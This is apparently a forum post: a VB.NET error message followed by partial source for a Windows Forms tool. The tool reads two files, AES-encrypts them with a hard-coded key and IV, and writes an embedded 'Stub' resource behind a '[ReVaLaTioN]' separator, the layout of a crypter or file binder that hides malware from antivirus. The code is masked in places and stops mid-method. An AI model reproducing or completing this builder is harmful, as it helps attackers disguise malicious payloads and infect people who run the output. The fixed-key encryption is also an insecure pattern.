Statement is not valid in a namespace

Public Class Form1
    Dim F, F2 As String
    Function Secure(ByVal data As Byte()) As Byte()
        Using SA As New System.Security.Cryptography.RijndaelManaged
            SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            S****ey = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    Function UnSecure(ByVal data As Byte()) As Byte()
        Using SA As New System.Security.Cryptography.RijndaelManaged
            SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            S****ey = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Dim lojistik As New OpenFileDialog
        With lojistik
            .FileName = "*.*"
            .Title = "Dosya Seçiniz..."
            .Filter = "Tüm Dosyalar (*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F = .SafeFileName
                TextBox1.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Dim lojistik As New OpenFileDialog
        With lojistik
            .FileName = "*.*"
            .Title = "Dosya Seçiniz..."
            .Filter = "Tüm Dosyalar (*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F2 = .SafeFileName
                TextBox2.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Try
            Dim allstar As New SaveFileDialog
            With allstar
                .FileName = "*.*"
                .Title = "Dosya Seçiniz..."
                .Filter = "Tüm Dosyalar (*.*)|*.*"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If .ShowDialog = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[ReVaLaTioN]"
                    Dim buffer As Byte() = My.Resources.Stub
                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)